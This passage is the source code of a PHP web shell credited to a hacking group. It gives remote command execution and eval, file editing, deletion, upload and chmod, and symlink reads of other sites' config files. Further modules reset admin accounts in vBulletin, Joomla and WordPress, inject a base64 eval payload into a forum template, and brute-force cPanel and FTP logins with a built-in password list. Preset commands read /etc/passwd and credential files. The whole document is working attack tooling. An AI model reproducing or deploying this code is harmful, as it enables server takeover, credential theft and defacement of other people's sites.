switch ($_REQUEST['p']) { case 'cmd': //Commander function function cmd() { $cmd = $_POST['cmd']; $cmdgo = $_POST['cmdgo']; $option = $_POST['option']; $id = $_GET['id']; if($cmdgo && !empty($cmd)) { switch($option) { case system: system($cmd); break; case passthru: passthru($cmd); break; case shell_exec: $out = shell_exec($cmd); echo $out; break; default; system($cmd); } } } echo "<form method=post action=''> </pre> <input size=32 style='border:1px dotted #CCFF00; color:#FFB200; font-family:Tahoma; background-color:#000000' type=text name=cmd style='background: black;color: white;border: 0px'><select name=option style='background: black;color: white'><option>system</option><option>passthru</option> <option>shell_exec</option></select><input style='background: black;color: white;border: 1px dashed white 'type=submit name=cmdgo value=execute> <textarea cols='125' rows='29' style='border:1px dotted #CCFF00; color:#FFB200; font-family:Tahoma; font-size:8pt; background-color:#000000'>"; cmd(); echo "</textarea> </td></table></form>"; break; case 'delete': if(isset($_POST['yes'])) { if(unlink($_GET['file'])) { print "File deleted successfully."; } else { print "Couldn't delete file."; } } if(isset($_GET['file']) && file_exists($_GET['file']) && !isset($_POST['yes'])) { print "Are you sure you want to delete ".$_GET['file']."? <form action=\"".$me."?p=delete&file=".$_GET['file']."\" method=POST> <input type=hidden name=yes value=yes> <input type=submit value=\"Delete\"> "; } break; case 'capff': if(empty($_POST['index'])){ echo "<FORM method=\"POST\"> host : <INPUT size=\"15\" value=\"localhost\" name=\"localhost\" type=\"text\"> database : <INPUT size=\"15\" value=\"forum_vb\" name=\"database\" type=\"text\"> username : <INPUT size=\"15\" value=\"forum_vb\" name=\"username\" type=\"text\"> password : <INPUT size=\"15\" value=\"vb\" name=\"password\" type=\"password\"> <textarea name=\"index\" cols=\"70\" rows=\"30\">Set Your Index</textarea> <INPUT value=\"Set\" name=\"send\" type=\"submit\"> </FORM>"; }else{ $localhost = $_POST['localhost']; $database = $_POST['database']; $username = $_POST['username']; $password = $_POST['password']; $index = $_POST['index']; @mysql_connect($localhost,$username,$password) or die(mysql_error()); @mysql_select_db($database) or die(mysql_error()); $index=str_replace("\'","'",$index); $set_index = "{\${eval(base64_decode(\'"; $set_index .= base64_encode("echo \"$index\";"); $set_index .= "\'))}}{\${exit()}}</textarea>"; $ok=@mysql_query("UPDATE template SET template ='".$set_index."' WHERE title ='spacer_open'") or die(mysql_error()); if($ok){ echo "!! update finish !! "; } } break; case 'symlink': if ($_GET[p]=="symlink"){ if ($_POST['o'] != "ok"){ print'<body bgcolor=#000000> SymLink <div align="center"> <form action="" method="POST" > <input style="border:1px dotted #FF004C; font-family:Tahoma; font-size:8pt; color:#CCFF00; background-color:#000000" name="usr" type="text" value="/home/user/public_html/vb/includes/config.php" align="LEFT" size="50" /> <input style="border:1px dotted #FF004C; font-family:Tahoma; font-size:8pt; color:#CCFF00; background-color:#000000" name="my" type="text" value="'.@getcwd().'/file.txt" align="LEFT" size="50" /> <input type="hidden" name="o" value="ok"> <input type="submit" value=Submit style="border:1px dotted #CCFF00; font-family:Tahoma; font-size:8pt; color:#FFB200; background-color:#000000"> </form> '; print $f; } else{ $sym = @symlink("$_POST[usr]","$_POST[my]"); print ' <body bgcolor=#000000> SymLink '; if ($sym){ print 'Done !! ';} else{print'Error Cannot Be completed';} print $f; } exit; } break; case 'uuuuuusers': echo "<center>Users</center><textarea style=border:1px dotted #CCFF00; font-family:Tahoma; font-size:8pt; color:#00FFB2; background-color:#000000 rows=12 name=usersx cols='23' >"; @system('ls /var/mail'); echo "</textarea>"; break; case 'jpc': if(empty($_POST['pwd'])){ echo "<FORM method=\"POST\"> host : <INPUT size=\"15\" value=\"localhost\" name=\"localhost\" type=\"text\"> database : <INPUT size=\"15\" value=\"database\" name=\"database\" type=\"text\"> username : <INPUT size=\"15\" value=\"db_user\" name=\"username\" type=\"text\"> password : <INPUT size=\"15\" value=\"**\" name=\"password\" type=\"password\"> Set A New username For Login : <INPUT name=\"admin\" size=\"15\" value=\"admin\"> Don`t Change it Password is : 123456: <INPUT name=\"pwd\" size=\"15\" value=\"e10adc3949ba59abbe56e057f20f883e\"> <INPUT value=\"change\" name=\"send\" type=\"submit\"> </FORM>"; }else{ $localhost = $_POST['localhost']; $database = $_POST['database']; $username = $_POST['username']; $password = $_POST['password']; $pwd = $_POST['pwd']; $admin = $_POST['admin']; @mysql_connect($localhost,$username,$password) or die(mysql_error()); @mysql_select_db($database) or die(mysql_error()); $hash = crypt($pwd); $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error()); $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error()); $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(mysql_error()); $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(mysql_error()); $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(mysql_error()); $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(mysql_error()); $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(mysql_error()); $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(mysql_error()); if($SQL){ echo "Success :Now Use A New User And Password - (123456)"; } } break; case 'eval': echo " <form method=POST><table width='100%' height='72' border='0' id='Box'><tr> <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> <tr><td height='45' colspan='2'> <input type='text' name='php_eval' size='70' value='echo \"Fuck 4 Israel\";'> <input type=submit name=submitEval value=Eval></td></tr></table></form>"; print "<h1>Output:</h1>"; print " "; if($_POST['submitEval']) // Execute Eval Code . { $eval = @str_replace("<?php","",$_POST['php_eval']); $eval = @str_replace("<?php","",$eval); $eval = @str_replace("?>","",$eval); $eval = @str_replace("\\","",$eval); echo eval($eval); } break; case 'chmod': if(isset($_POST['chmod'])) { switch ($_POST['chvalue']){ case 777: chmod($_POST['chmod'],0777); break; case 644: chmod($_POST['chmod'],0644); break; case 755: chmod($_POST['chmod'],0755); break; } print "Changed permissions on ".$_POST['chmod']." to ".$_POST['chvalue']."."; } if(isset($_GET['file'])) { $content = urldecode($_GET['file']); } else { $content = "file/path/please"; } print "<form action=\"".$me."?p=chmod&file=".$content."&dir=".realpath('.')."\" method=POST>File to chmod: <input type=text name=chmod value=\"".$content."\" size=70 style='color: #ffffff; border: 1px dotted #ffffff; background-color: #000000'> New permission: <select name='chvalue' style='color: #ffffff; border: 1px dotted #a0ff00; background-color: #000000'> <option value='777'>777</option> <option value='644'>644</option> <option value='755'>755</option> </select><input type=submit value='Change' style='color: #ffffff; border: 1px dotted #ff0000; background-color: #000000'>"; break; case 'mysql': if(isset($_POST['host'])) { $link = mysql_connect($_POST['host'], $_POST['username'], $_POST['mysqlpass']) or die('Could not connect: ' . mysql_error()); mysql_select_db($_POST['dbase']); $sql = $_POST['query']; $result = mysql_query($sql); } else { print " This only queries the database, doesn't return data! <form action=\"".$me."?p=mysql\" method=POST> Host: <input type=text name=host value=\"localhost\" size=10> Username: <input type=text name=username value=\"root\" size=10> Password: <input type=password name=mysqlpass value=\"\" size=10> Database: <input type=text name=dbase value=\"test\" size=10> Query: </b<textarea name=query></textarea> <input type=submit value=\"Query database\"> </form> "; } break; case 'createdir': if(mkdir($_GET['crdir'])) { print 'Directory created successfully.'; } else { print 'Couldn\'t create directory'; } break; case 'vbhack': $act = $_GET['act']; if($act=='reconfig' && isset($_POST['path'])) { $path = $_POST['path']; include $path; echo '<table border="1" bgcolor="#000000" bordercolor="lime" bordercolordark="lime" bordercolorlight="lime"><th>::::Read Config Data::::</th><th>'; echo '' . $path . '</th>'; echo '<tr> <th>Host : </th><th>' . $config['MasterServer']['servername'] . '</th> </tr> <tr> <th>User : </th><th>' . $config['MasterServer']['username'] . '</th> </tr> <tr> <th>Pass : </th><th>'; $passsql = $config['MasterServer']['password']; if ($passsql == '') { $result = 'No Password'; } else { $result = '' . $passsql . ''; } echo $result; echo '</th> </tr> <tr> <th>Name : </th><th>' . $config['Database']['dbname'] . '</th> </tr> </table>'; } if(isset($_POST['host']) && isset($_POST['user']) && isset($_POST['pass']) && isset($_POST['db']) && $act=="psw" && isset ($_POST['vbuser']) && isset($_POST['vbpass'])) { $host = $_POST['host']; $user = $_POST['user']; $pass = $_POST['pass']; $db = $_POST['db']; $vbuser = $_POST['vbuser']; $vbpass = $_POST['vbpass']; mysql_connect($host,$user,$pass) or die('Nope,No cOnnection with user'); mysql_select_db($db) or die('Nope,No cOnnection with DB'); if ($pass == '') { $npass = 'NULL'; } else { $npass = $pass; } echo'You are connected with the mysql server of ' . $host . ' by user : color=yellow>' . $user . ' , pass : ' . $npass . ' and selected DB with the name color=yellow>' . $db . ''; $query = 'select * from user where username="' . $vbuser . '";'; $result = mysql_query($query); while ($row = mysql_fetch_array($result)) { $salt = $row['salt']; $x = md5($vbpass); $x =$x . $salt; $pass_salt = md5($x); $query = 'update user set password="' . $pass_salt . '" where username="' . $vbuser . '";'; $re = mysql_query($query); if ($re) { echo 'The pass of the user ' . $vbuser . ' was changed to ' . $vbpass . ' Back to <a href="?">Shell</a>'; } else { echo 'Failed to change PassWord'; } } } if(isset($_POST['host']) && isset($_POST['user']) && isset($_POST['pass']) && isset($_POST['db']) && $act=="login") { $host = $_POST['host']; $user = $_POST['user']; $pass = $_POST['pass']; $db = $_POST['db']; mysql_connect($host,$user,$pass) or die('Nope,No cOnnection with user'); mysql_select_db($db) or die('Nope,No cOnnection with DB'); if ($pass == '') { $npass = 'NULL'; } else { $npass = $pass; } echo'You are connected with the mysql server of ' . $host . ' by user : color=yellow>' . $user . ' , pass : ' . $npass . ' and selected DB with the name color=yellow>' . $db . ''; echo '<hr color="#00FF00" /> <form name="changepass" action="?p=vbhack&act=psw" method="post"> <table border="1" bgcolor="#000000" bordercolor="lime" bordercolordark="lime" bordercolorlight="lime"> <th>:::::Change User Password:::::</th><th><input type="submit" name="Change" value="Change" /></th> <tr><td>User : </td><td><input name="vbuser" value="admin" /></td></tr> <tr><td>Pass : </td><td><input name="vbpass" value="DrZer0" /></td></tr> </table>'; echo'<input type="hidden" name="host" value="' . $host . '"><input type="hidden" name="user" value="' . $user . '"><input type="hidden" name="pass" value="' . $pass . '"><input type="hidden" name="db" value="' . $db . '">'; echo ' </form> <hr color="#00FF00" /> <form name="changepass" action="?p=vbhack&act=mail" method="post"> <table border="1" bgcolor="#000000" bordercolor="lime" bordercolordark="lime" bordercolorlight="lime"> <th>:::::Change User E-MAIL:::::</th><th><input type="submit" name="Change" value="Change" /></th> <tr><td>User : </td><td><input name="vbuser" value="admin" /></td></tr> <tr><td>MAIL : </td><td><input name="vbmail" value="DrZero@live.com" /></td></tr> </table>'; } if ($act == ''){ echo ' <form name="myform" action="?p=vbhack&act=login" method="post"> <table border="1" bgcolor="#000000" bordercolor="lime" bordercolordark="lime" bordercolorlight="lime"> <th>:::::DATABASE CONFIG:::::</th><th><input type="submit" name="Connect" value="Connect" /></th><tr><td>Host : </td><td><input name="host" value="localhost" /></td></tr> <tr><td>User : </td><td><input name="user" value="root" /></td></tr> <tr><td>Pass : </td><td><input name="pass" value="" /></td></tr> <tr><td>Name : </td><td><input name="db" value="vb" /></td></tr> </table> </form>'; } if ($act == 'lst' && isset($_POST['user']) && isset($_POST['pass']) && isset($_POST['host']) && isset($_POST['db'])) { $host = $_POST['host']; $user = $_POST['user']; $pass = $_POST['pass']; $db = $_POST['db']; mysql_connect($host,$user,$pass) or die('Nope,No cOnnection with user'); mysql_select_db($db) or die('Nope,No cOnnection with DB'); if ($pass == '') { $npass = 'NULL'; } else { $npass = $pass; } echo'You are connected with the mysql server of ' . $host . ' by user : color=yellow>' . $user . ' , pass : ' . $npass . ' and selected DB with the name color=yellow>' . $db . ''; echo ' <hr color="#00FF00" />'; $re = mysql_query('select * from user'); echo'<table border="1" bgcolor="#000000" bordercolor="lime" bordercolordark="lime" bordercolorlight="lime"><th>ID</th><th>UserName</th><th> color=lime>E-Mail</th><th>PassWord</th>'; while ($row = mysql_fetch_array($re)) { echo'<tr><td>' . $row['userid'] . '</td><td>' . $row['username'] . '</td><td>' . $row['email'] . '</td><td>' . $row ['password'] . '</td></tr>'; } echo'</table>'; echo ' <table border="1" bgcolor="#000000" bordercolor="lime" bordercolordark="lime" bordercolorlight="lime"><th>'; $count = mysql_num_rows($re); echo 'Number of users registered is : [ ' . $count . ' ]'; echo '</th></table>'; } if ($act == 'users'){ echo ' <form name="myform" action="?p=vbhack&act=lst" method="post"> <table border="1" bgcolor="#000000" bordercolor="lime" bordercolordark="lime" bordercolorlight="lime"> <th>:::::DATABASE CONFIG:::::</th><th><input type="submit" name="Connect" value="Connect" /></th><tr><td>Host : </td><td><input name="host" value="localhost" /></td></tr> <tr><td>User : </td><td><input name="user" value="root" /></td></tr> <tr><td>Pass : </td><td><input name="pass" value="" /></td></tr> <tr><td>Name : </td><td><input name="db" value="vb" /></td></tr> </table> </form>'; } if ($act=='config') { echo ' <form name="myform" action="?p=vbhack&act=reconfig" method="post"> <table border="1" bgcolor="#000000" bordercolor="lime" bordercolordark="lime" bordercolorlight="lime"> <th>:::::CONFIG PATH:::::</th><th><input type="submit" name="Connect" value="Read" /></th> <tr><td>PATH : </td><td><input name="path" value="/home/User/public_html/vb/includes/config.php" /></td></tr></table></form>'; } echo ' <center> <table border="1" bgcolor="#000000" bordercolor="lime" bordercolordark="lime" bordercolorlight="lime"><td><a href="?p=vbhack&act=users">List Users</a></td><td><a href="?p=vbhack&act=config">ReadConfig</a></td></tr></table>'; break; case 'cpanelftp': echo "</td></tr></table></form> </td> <td valign='top'>  <form method=POST><table width='100%' height='72' border='0' id='Box'><tr> <center> <textarea style='border:1px dotted #CCFF00; font-family:Tahoma; font-size:8pt; color:#00FFB2; background-color:#000000' rows='12' name='users' cols='23' >"; @system('ls /var/mail'); echo "</textarea> <textarea style='border:1px dotted #CCFF00; font-family:Tahoma; font-size:8pt; color:#00FFB2; background-color:#000000' rows='12' name='passwords' cols='23' >123123\n123456\n1234567\n12345678\n123456789\nabc123\n112233\n332211\nasd123\nadmin123\npassword\npass123\nwebmaster\nadminpass</textarea> <center> <input type='text' name='target' size='16' value='localhost' style='border:1px dotted #CCFF00; font-family:Tahoma; font-size:8pt; color:#60c0ff; background-color:#000000'> <input name='cracktype' value='cpanel' checked type='radio'><sy>Cpanel (2082)</sy> <input name='cracktype' value='ftp' type='radio'><sy>Ftp (21)</sy> <input type='submit' value=' Crack it ! ' name='BruteForceCpanelAndFTP' style='border:1px dotted #CCFF00; font-family:Tahoma; font-size:8pt; color:#60c0ff; background-color:#000000' > </td></tr></table></form> </td> <td valign='top'> "; if($_POST['BruteForceCpanelAndFTP']) { $connect_timeout=5; set_time_limit(0); $submit=$_REQUEST['BruteForceCpanelAndFTP']; $users=$_REQUEST['users']; $pass=$_REQUEST['passwords']; $target=$_REQUEST['target']; $cracktype=$_REQUEST['cracktype']; if(empty($target)) { $target = "localhost"; } function ftp_check($host,$user,$pass,$timeout) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "ftp://$host"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($ch, CURLOPT_FTPLISTONLY, 1); curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass"); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_FAILONERROR, 1); $data = curl_exec($ch); if ( curl_errno($ch) == 28 ) { print "Error : Connection Timeout Please Check The Target Hostname ."; exit; } elseif ( curl_errno($ch) == 0 ) { print " [+] Cracking Success With Username ($user) and Password ($pass)"; } curl_close($ch); } function cpanel_check($host,$user,$pass,$timeout) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://$host:2082"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass"); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_FAILONERROR, 1); $data = curl_exec($ch); if ( curl_errno($ch) == 28 ) { print "[-] Connection Timeout Please Check The Target Hostname ."; exit; } elseif ( curl_errno($ch) == 0 ) { print " [+] Cracking Success With Username ($user) and Password ($pass)"; } curl_close($ch); } if(isset($submit) && !empty($submit)) { if(empty($users) && empty($pass)) { print "[-] Please Check The Users or Password List Entry . . ."; } if(empty($users)) { print "[-] Please Check The Users List Entry . . ."; } if(empty($pass)) { print "[-] Please Check The Password List Entry . . "; } $userlist=explode("\n",$users); $passlist=explode("\n",$pass); print "[~]# Cracking Process Started, Please Wait ..."; foreach ($userlist as $user) { $pureuser = trim($user); foreach ($passlist as $password ) { $purepass = trim($password); if($cracktype == "ftp") { ftp_check($target,$pureuser,$purepass,$connect_timeout); } if ($cracktype == "cpanel") { cpanel_check($target,$pureuser,$purepass,$connect_timeout); } } } } } break; case 'phpinfo': phpinfo(); break; case 'rename': if(isset($_POST['fileold'])) { if(rename($_POST['fileold'],$_POST['filenew'])) { print "File renamed."; } else { print "Couldn't rename file."; } } if(isset($_GET['file'])) { $file = basename(htmlspecialchars($_GET['file'])); } else { $file = ""; } print "Renaming ".$file." in folder ".realpath('.').". <form action=\"".$me."?p=rename&dir=".realpath('.')."\" method=POST> Rename: <input type=text name=fileold value=\"".$file."\" size=70> To: <input type=text name=filenew value=\"\" size=10> <input type=submit value=\"Rename file\"> </form>"; break; case 'scahlf': echo "<html> </td></tr></table><form method='POST' enctype='multipart/form-data' > </td></tr></table><form method='POST' enctype='multipart/form-data' > show_source : <input type='text' name='show' value='' size='59' style='color: #ffffff; border: 1px dotted #ffffff; background-color: #000000'> highlight_file : <input type='text' name='high' value='' size='59' style='color: #ffffff; border: 1px dotted #ffffff; background-color: #000000'> <input type='submit'' value='Read' style='color: #ffffff; border: 1px dotted #ffffff; background-color: #000000'></form </form"; if(empty($_POST['show'])) { } else { $s = $_POST['show']; echo "<h1>show_source</h1>"; $show = show_source($s); } if(empty($_POST['high'])) { } else { $h = $_POST['high']; echo "<h1>highlight_file</h1>"; echo " "; $high = highlight_file($h); } break; case 'about': echo '<center> Ml7s-HackerS - Dr.Zero'; echo '<center> Emails : XM8@HoTmAil.CoM , DrZero@Live.Com <center>Everywhere and Anywhere, We Are There'; break; case 'upload': echo '</pre></form>'; if (isset($_POST['upload'])) { $savefile = getcwd()."/" . $_FILES['file']['name']['0']; move_uploaded_file($_FILES['file']['tmp_name']['0'], $savefile); $filesizename = array(" Bytes", " KB", " MB", " GB", " TB", " PB", " EB", " ZB", " YB"); $size = round($_FILES['file']['size']['0']/pow(1024, ($i = floor(log($_FILES['file']['size']['0'], 1024)))), 2) . $filesizename[$i];print "Uploaded be completed ! Details: Filename: " . $_FILES['file']['name']['0'] . ". Size: " . $size . ".";} echo ' Upload Files:<form method="POST" enctype="multipart/form-data"><input type="hidden" name="action" value="add"><input type="file" name="file[]" size="50"> <input type="submit" value="Upload File !" name="upload"></form><hr> '; if (isset($_POST['upload_url'])) {$file=$_POST['upload_url_text']; $newfile=$_POST['rename']; if (!copy($file, $newfile)) {echo "failed to copy $file...\\n";}} echo 'Upload Files From URL:<form method="POST" enctype="multipart/form-data"><input type="hidden" name="action" value="add"><input type="text" name="upload_url_text" size="50"> Rename to: <input type="text" name="rename" size="10" value="inj.php"> <input type="submit" value="Upload File !" name="upload_url"></form>'; break; case 'edit': print'<body bgcolor=#000000> '; if($_POST[incl] != ""){ $file = @fopen($_POST[incl],r); $data=@fread($file,1546768); $msr = str_replace("\\\\","\\",$_POST[incl]); print '<form action="" method="POST"> <div align="center">Path : <input name="incl" type="text" style="border:1px dotted #CCFF00; font-family:Tahoma; font-size:8pt; color:#FF0033; background-color:#000000" value="'.$msr.'" align="LEFT" size="103" /> </form> <form action="" method="POST"><div align="center"><input name="incle" type="hidden" value="'.$msr.'" align="LEFT" size="45" /><textarea name="kr" style="border:1px dotted #CCFF00; width: 700px; height: 450px; font-family:Tahoma; font-size:8pt; color:#CCFF00; background-color:#000000" >'.htmlspecialchars($data).'</textarea> <input type="submit" value="Save">'; exit; } if($_POST[kr]){ $fl = str_replace("\'","'",$_POST[kr]); $fl = str_replace('\"','"',$fl); $fl = str_replace('\\\\','\\',$fl); $d = @fopen($_POST[incle], 'w'); @fwrite($d,$fl); @fclose($d); if($d){ print'Saved !! '; exit;}else{print'Cann\'t Save !! '; exit;}} print'<div align="center"> <form action="" method="POST"> <input name="incl" type="submit" value="'.$_GET['file'].'" align="LEFT" size="45" style="border:1px dotted #0080ff; font-family:Tahoma; font-size:8pt; color:#CCFF00; background-color:#80a0a0"/> '; exit; break; case 'wpps': if(empty($_POST['pwd'])){ echo "<FORM method=\"POST\"> host : <INPUT size=\"15\" value=\"localhost\" name=\"localhost\" type=\"text\"> database : <INPUT size=\"15\" value=\"wp-\" name=\"database\" type=\"text\"> username : <INPUT size=\"15\" value=\"wp-\" name=\"username\" type=\"text\"> password : <INPUT size=\"15\" value=\"**\" name=\"password\" type=\"password\"> Set A New username 4 Login : <INPUT name=\"admin\" size=\"15\" value=\"admin\"> Set A New password 4 Login : <INPUT name=\"pwd\" size=\"15\" value=\"123456\"> <INPUT value=\"change\" name=\"send\" type=\"submit\"> </FORM>"; }else{ $localhost = $_POST['localhost']; $database = $_POST['database']; $username = $_POST['username']; $password = $_POST['password']; $pwd = $_POST['pwd']; $admin = $_POST['admin']; @mysql_connect($localhost,$username,$password) or die(mysql_error()); @mysql_select_db($database) or die(mysql_error()); $hash = crypt($pwd); $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error()); $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error()); $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error()); $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error()); $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error()); $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error()); $a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error()); if($a4s){ echo " Success :Now Use A New User And Pass To login In The Admin Panel "; } } break; } } else //Default page that will be shown when the page isn't found or no page is selected. { $files = array(); $directories = array(); if(isset($_FILES['uploadedfile']['name'])) { $target_path = realpath('.').'/'; $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { print "File:". basename( $_FILES['uploadedfile']['name']). " has been uploaded"; } else{ echo "File upload failed!"; } } print "<table border=0 width=100%><td width=15% id=s>Options</td><td id=s>Filename</td><td id=s>Size</td><td id=s>Permissions</td><td id=s>Last modified</td><tr>"; if ($handle = opendir('.')) { while (false !== ($file = readdir($handle))) { if(is_dir($file)) { $directories[] = $file; } else { $files[] = $file; } } asort($directories); asort($files); foreach($directories as $file) { print "<td id=d><a href=\"?p=rename&file=".realpath($file)."&dir=".realpath('.')."\">[Renm]</a> <a href=\"?p=delete&file=".realpath($file)."\">[Del]</a> <a href=\"?fdownload=".realpath($file)."\">[Dwnld]</a> </td><td id=d><a href=\"".$me."?dir=".realpath($file)."\">".$file."</a></td><td id=d></td><td id=d><a href=\"?p=chmod&dir=".realpath('.')."&file=".realpath($file)."\">".perm($file)."</a></td><td id=d>".date ("Y/m/d, H:i:s", filemtime($file))."</td><tr>"; } foreach($files as $file) { print "<td id=f><a href=\"?p=rename&file=".realpath($file)."&dir=".realpath('.')."\">[Renm]</a> <a href=\"?p=delete&file=".realpath($file)."\">[Del]</a> <a href=\"?fdownload=".realpath($file)."\">[Dwnld]</a> </td><td id=f><a href=\"".$me."?p=edit&dir=".realpath('.')."&file=".realpath($file)."\">".$file."</a></td><td id=f>".filesize($file)."</td><td id=f><a href=\"?p=chmod&dir=".realpath('.')."&file=".realpath($file)."\">".perm($file)."</a></td><td id=f>".date ("Y/m/d, H:i:s", filemtime($file))."</td><tr>"; } } else { print "Error! Can't open ".realpath('.')."! "; } print "</table><hr><table border=0 width=100%><td>~[ Upload File ]~ <form enctype=\"multipart/form-data\" action=\"".$me."?dir=".realpath('.')."\" method=\"POST\"> <input type='hidden' name='MAX_FILE_SIZE' value='100000000' style='color: #ffffff; font-size:8pt; border: 1px dotted #ffffff; background-color: #000000' /><input size=30 style='color: #ffffff; font-size:8pt; border: 1px dotted #ffffff; background-color: #000000' name='uploadedfile' type='file'><input type='submit' value='Upload File !' name='uploadedfile' style=\"border:1px dotted #60c0ff; font-family:Tahoma; font-size:8pt; color:#FFB200; background-color:#000000\"> </form></td><td><form action=\"".$me."\" method=GET>~[ Go Dir ]~ <input style=\"border:1px dotted #CCFF00; font-family:Tahoma; font-size:8pt; color:#FFB200; background-color:#000000\" type=text size=40 name=dir value=\"".realpath('.')."\"><input style=\"border:1px dotted #60c0ff; font-family:Tahoma; font-size:8pt; color:#FFB200; background-color:#000000\" type=submit value=\" Go Dir\"></form></td> <tr><td><form action=\"".$me."\" method=GET>~[ Create File, Read File ]~ <input type=hidden name=dir value=\"".realpath('.')."\"><input style=\"border:1px dotted #CCFF00; font-family:Tahoma; font-size:8pt; color:#FFB200; background-color:#000000\" type=text size=40 name=file value=\"".realpath('.')."\"><input type=hidden name=p value=edit><input type=submit value=\"Create File\" style=\"border:1px dotted #60c0ff; font-family:Tahoma; font-size:8pt; color:#FFB200; background-color:#000000\"></form> </td><td><form action=\"".$me."\" method=GET>~[ Make Dir ]~ <input style=\"border:1px dotted #CCFF00; font-family:Tahoma; font-size:8pt; color:#FFB200; background-color:#000000\" type=text size=40 name=crdir value=\"".realpath('.')."\"><input type=hidden name=dir value=\"".realpath('.')."\"><input type=hidden name=p value=createdir><input type=submit value=\"Make Dir \" style=\"border:1px dotted #60c0ff; font-family:Tahoma; font-size:8pt; color:#FFB200; background-color:#000000\"></form></td> </table>"; echo "<table border='2'>"; print_r(' <form method="POST" action=""> Command :<input size=40 name="comx1" type="text" style="border:1px dotted #CCFF00; font-family:Tahoma; font-size:8pt; color:#FFB200; background-color:#000000"><input value="Enter" type="submit" style="border:1px dotted #60c0ff; font-family:Tahoma; font-size:8pt; color:#FFB200; background-color:#000000"> </form> <form method="POST" action=""> <select size="1" size=60 name="comxx" style="border:1px dotted #CCFF00; font-family:Tahoma; font-size:8pt; color:#FFB200; background-color:#000000"> <option value="cat /etc/passwd">/etc/passwd</option> <option value="netstat -an | grep -i listen">رؤية البورتات المفتوحه بالسيرفر</option> <option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option> <option value="cat /etc/syslog.conf">/etc/syslog.conf</option> <option value="cat /etc/hosts">/etc/hosts</option> <option value="cat /etc/named.conf">/etc/named.conf</option> <option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option> <option value="ls -lia">ls -lia</option> <option value="cat /home/*/public_html/_vti_pvt/access.cnf">cat /home/*/public_html/_vti_pvt/access.cnf</option> <option value="cat /home/*/public_html/_vti_pvt/service.pwd">cat /home/*/public_html/_vti_pvt/service.pwd</option> <option value="cat /usr/local/apache/conf/httpd.conf">cat /usr/local/apache/conf/httpd.conf</option> </select> <input type="submit" value="Enter" style="border:1px dotted #60c0ff; font-family:Tahoma; font-size:8pt; color:#FFB200; background-color:#000000"> </form> </pre> '); $comn1=shell_exec($_POST[comx1]); $comn2=shell_exec($_POST[comxx]); if($comn2 != "") echo "<textarea cols='125' rows='29' style='border:1px dotted #CCFF00; color:#FFB200; font-family:Tahoma; font-size:8pt; background-color:#000000'>$comn2</textarea>"; if($comn1 != "") echo "<textarea cols='125' rows='29' style='border:1px dotted #CCFF00; color:#FFB200; font-family:Tahoma; font-size:8pt; background-color:#000000'>$comn1</textarea>"; echo "</textarea>"; echo '</h4></pre></center></table></td>'; } function reload() { header("Location: ".basename(__FILE__)); } function get_execution_method() { if(function_exists('passthru')){ $m = "passthru"; } if(function_exists('exec')){ $m = "exec"; } if(function_exists('shell_exec')){ $m = "shell_ exec"; } if(function_exists('system')){ $m = "system"; } if(!isset($m)) //No method found :-| { $m = "Disabled"; } return($m); } function execute_command($method,$command) { if($method == "passthru") { passthru($command); } elseif($method == "exec") { exec($command,$result); foreach($result as $output) { print $output." "; } } elseif($method == "shell_exec") { print shell_exec($command); } elseif($method == "system") { system($command); } } function perm($file) { if(file_exists($file)) { return substr(sprintf('%o', fileperms($file)), -4); } else { return "????"; } } function get_color($file) { if(is_writable($file)) { return "green";} if(!is_writable($file) && is_readable($file)) { return "white";} if(!is_writable($file) && !is_readable($file)) { return "red";} } function show_dirs($where) { if(ereg("^c:",realpath($where))) { $dirparts = explode('\\',realpath($where)); } else { $dirparts = explode('/',realpath($where)); } $i = 0; $total = ""; foreach($dirparts as $part) { $p = 0; $pre = ""; while($p != $i) { $pre .= $dirparts[$p]."/"; $p++; } $total .= "<a href=\"".basename(__FILE__)."?dir=".$pre.$part."\">".$part."</a>/"; $i++; } return "<h2>".$total."</h2> "; } print $footer; exit(); ?> <script language="JavaScript"> <!-- var x = 0 var speed = 300 var text = "[~ BO3LA HaCkEr - Ml7S-HaCkErS ~]" function Blinky() { window.status = text setTimeout("Blinky2()", speed) } function Blinky2() { window.status = " " setTimeout("Blinky()", speed) } Blinky() </script></pre></div></div>

özel bir shell

